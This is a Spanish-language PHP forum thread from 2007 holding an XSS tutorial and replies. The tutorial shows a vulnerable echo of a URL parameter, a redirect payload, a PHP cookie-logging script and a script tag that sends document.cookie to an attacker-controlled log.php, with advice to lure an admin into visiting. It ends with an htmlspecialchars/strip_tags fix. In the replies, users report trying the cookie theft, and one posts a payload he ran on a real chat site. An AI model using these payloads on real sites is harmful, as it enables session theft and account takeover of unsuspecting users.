Autor Tema: XSS - Cross site scripting [Atacar y Defenderse]  (Leído 3703 veces)

Desconectado alienmaster

  • PHPer@ Fijo
  • ***
  • Mensajes: 102
  • Karma: 12
  • Sexo: Masculino
  • No dependo de nadie!!
    • Ver Perfil
    • 4cosaS
XSS - Cross site scripting [Atacar y Defenderse]
« en: 15 de Septiembre de 2007, 15:49:35 pm »
El siguiente tutorial esta escrito por mi 100%, en el podreis ver como vulnerar o fixear(reparar) un XSS. Lo podeis ver en mi blog, http://4cosas.com

Definicion
El XSS es un ataque explotando una inyeccion HTML en un sistema web. Mucha gente piensa el que solo sirva para redireccionar las visitas d ela web victima a otra web, deformar la web victima, etc...

Codigo Vulnerable:
Un ejemplo de vulnerabilidad XSS seria...

<?
echo 
$_GET[&#39;id&#39;];
?>

le entramos desde file.php?id=hola <h1>capullo</h1> y como veremos sale la frase "hola capullo" con la palbra capullo en negrita, lo que significa que se puede meter codigo HTML desde una variable en la url.

Como explotar un XSS
Hay miles de formas de explotar un XSS, su por ejemplo se tratara de un tagboard vulnerable a XSS en los mensajes y te interesa redireccionar las viistas de la web pues tan solo bastaria con meter un code HTML de redireccion, por ejemplo:
Código: [Seleccionar]
<META HTTP-EQUIV='Refresh' CONTENT='1; URL=http://4cosas.com/hacked.html'>ese code redireccionaria las visitas, ideal para tags, guestbooks, etc.

Tambien podemos explotar el XSS robando las cookies del usuario, ahora es cuando tambien entra la ingenieria social, seria el hacer que el admin entre a una url, enviandole un email diciendole k entro o yo que se, eso lo pensais vosotros Para robarle las cookies deberiamos crear antes que nada nosotros un code php como el siguiente:

<?php
$archivo 
fopen(&#39;log.htm&#39;,&#39;a&#39;);
$ip getenv (&#39;REMOTE_ADDR&#39;);
$re $HTTPREFERRER;
$fecha=date("j F, Y, g:i a");
fwrite($archivo, &#39;<br>Cookies de usuario de&#39;.$re.&#39;.<br>IP:&#39;.$ip.&#39;<br>Fecha:&#39;.$fecha.&#39;<br>Cookies:<br>&#39;.$_GET[&#39;c&#39;].&#39;<br>&#39;);
fclose($archivo);
?>

Lo llamaremos log.php por dar un ejemplo, y crearemos el archivo log.htm donde se guardaran las cookies que robemos. Ahora para robar las cookies lo que tenemos que hacer es meter el siguiente script en la web vulnerable:
Código: [Seleccionar]
<script>window.location='http://tuweb.com/log.php?c='+document.cookie;</script>la persona que visite la web vulnerable infectada por ese code se le robaran sus cookies. Asi de simple podremos explotar el XSS.

Protegerse de XSS
Para protegernos de XSS el php ofrece distintas funciones. En este caso usaremos htmlspecialchars(), se usaria asi:
<?
echo htmlspecialchars($_GET[&#39;id&#39;]);
?>

de esta forma mostrara el HTML, pero no lo ejecutara. Si por el contrario quieres que borre todo el HTML, es decir que ni lo muestre usariamos la funcion strip_tags(), esta borra todo codigo HTML.

Comunidad PHPeros

XSS - Cross site scripting [Atacar y Defenderse]
« en: 15 de Septiembre de 2007, 15:49:35 pm »

Desconectado CarlosRdrz

  • Moderador Global
  • PHPero Master
  • *****
  • Mensajes: 2.505
  • Karma: 131
  • Sexo: Masculino
  • A.k.a. TLX
    • Ver Perfil
Re: XSS - Cross site scripting [Atacar y Defenderse]
« Respuesta #1 en: 15 de Septiembre de 2007, 17:11:30 pm »
Muy bueno tio.
Me mola mucho que pongas cosas asi de seguridad, puesto que de esta no tengo ni $"!·$ idea, al contrario de lo que creia jaja.

Un saludo y haber si pones mas cosas de seguridad.
La dedicación de mi respuesta sera directamente proporcional a la dedicación de tu pregunta.
Hacer códigos que entiendan las máquinas es fácil, lo difícil y realmente útil es hacer códigos que entiendan las personas.
http://twitter.com/CarlosRdrz
http://www.carlosrdrz.es

Desconectado naveda

  • Administrador General
  • PHPero Master
  • *****
  • Mensajes: 2.282
  • Karma: 165
  • Sexo: Masculino
    • Ver Perfil
    • naveda.me
Re: XSS - Cross site scripting [Atacar y Defenderse]
« Respuesta #2 en: 16 de Septiembre de 2007, 16:18:50 pm »
Aquí teneis mas informacion sobre codigos XSS: http://ha.ckers.org/xss.html
Por favor, leete las Normas


Desconectado FeDe

  • PHPero Avanzado
  • ****
  • Mensajes: 448
  • Karma: 35
  • Sexo: Masculino
  • BaDyDj -> ¡Mi Stylo, Mi ViDa!
    • Ver Perfil
Re: XSS - Cross site scripting [Atacar y Defenderse]
« Respuesta #3 en: 17 de Septiembre de 2007, 23:42:40 pm »
Aquí teneis mas informacion sobre codigos XSS: http:// ha.ckers.org/xss.html

Ahora ya se ve la dirección, Naveda arreglalo porque no funcionan las URL...
Sin Firma me haces una? :P

Desconectado naveda

  • Administrador General
  • PHPero Master
  • *****
  • Mensajes: 2.282
  • Karma: 165
  • Sexo: Masculino
    • Ver Perfil
    • naveda.me
Re: XSS - Cross site scripting [Atacar y Defenderse]
« Respuesta #4 en: 19 de Septiembre de 2007, 17:57:40 pm »
¿Como que no se ve? Seguro que si se ve ahora...
Por favor, leete las Normas


Desconectado Frank005

  • PHPero Experto
  • *****
  • Mensajes: 580
  • Karma: 3
  • Sexo: Masculino
    • Ver Perfil
Re: XSS - Cross site scripting [Atacar y Defenderse]
« Respuesta #5 en: 05 de Octubre de 2007, 19:15:53 pm »
Hola,

Me interesó eso de robar cookies de otros usuarios. Pero que pueden llegar a contener los cookies de un usuario ??

Desconectado Revancha

  • PHPero Avanzado
  • ****
  • Mensajes: 375
  • Karma: 22
  • Sexo: Masculino
    • Ver Perfil
Re: XSS - Cross site scripting [Atacar y Defenderse]
« Respuesta #6 en: 05 de Octubre de 2007, 22:17:47 pm »
Datos... Ejemplo el usuario y password alguna web o algo asi

Desconectado Frank005

  • PHPero Experto
  • *****
  • Mensajes: 580
  • Karma: 3
  • Sexo: Masculino
    • Ver Perfil
Re: XSS - Cross site scripting [Atacar y Defenderse]
« Respuesta #7 en: 06 de Octubre de 2007, 01:35:09 am »
Lo probé pero me dio nomas la Ip y unas fechas. Pero como sería para que te de contraseñas o algo asi ??  :P

Desconectado kekoman

  • PHPero Master
  • ******
  • Mensajes: 1.180
  • Karma: 45
  • Sexo: Masculino
  • Mi nuevo usuario es marco811
    • Ver Perfil
Re: XSS - Cross site scripting [Atacar y Defenderse]
« Respuesta #8 en: 11 de Octubre de 2007, 21:51:58 pm »
jaja, al poner el code de abajo en el minichat infokeko me ha mostrado el nombre de un usuario  xD
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url
me mostro asi:
<OBJECT classid=clsid:ae24fdaeron-03c6-11d1-8b76-0080c744f389><param name=url
« Última modificación: 11 de Octubre de 2007, 22:02:19 pm por kekoman »


Este usuario ya no lo uso, mi nuevo usuario es marco811

Desconectado kekoman

  • PHPero Master
  • ******
  • Mensajes: 1.180
  • Karma: 45
  • Sexo: Masculino
  • Mi nuevo usuario es marco811
    • Ver Perfil
Re: XSS - Cross site scripting [Atacar y Defenderse]
« Respuesta #9 en: 26 de Diciembre de 2007, 21:16:22 pm »
no puedo robar las cookies con el código de alienmaster  :-\ :-\


Este usuario ya no lo uso, mi nuevo usuario es marco811

Desconectado westwest

  • PHPero Master
  • ******
  • Mensajes: 2.837
  • Karma: 104
  • Sexo: Masculino
    • Ver Perfil
Re: XSS - Cross site scripting [Atacar y Defenderse]
« Respuesta #10 en: 27 de Diciembre de 2007, 14:06:04 pm »
Eso de htmlspecialchars y strip_tags, puedes meter dentro de eso el codigo entero o debes meter x partes?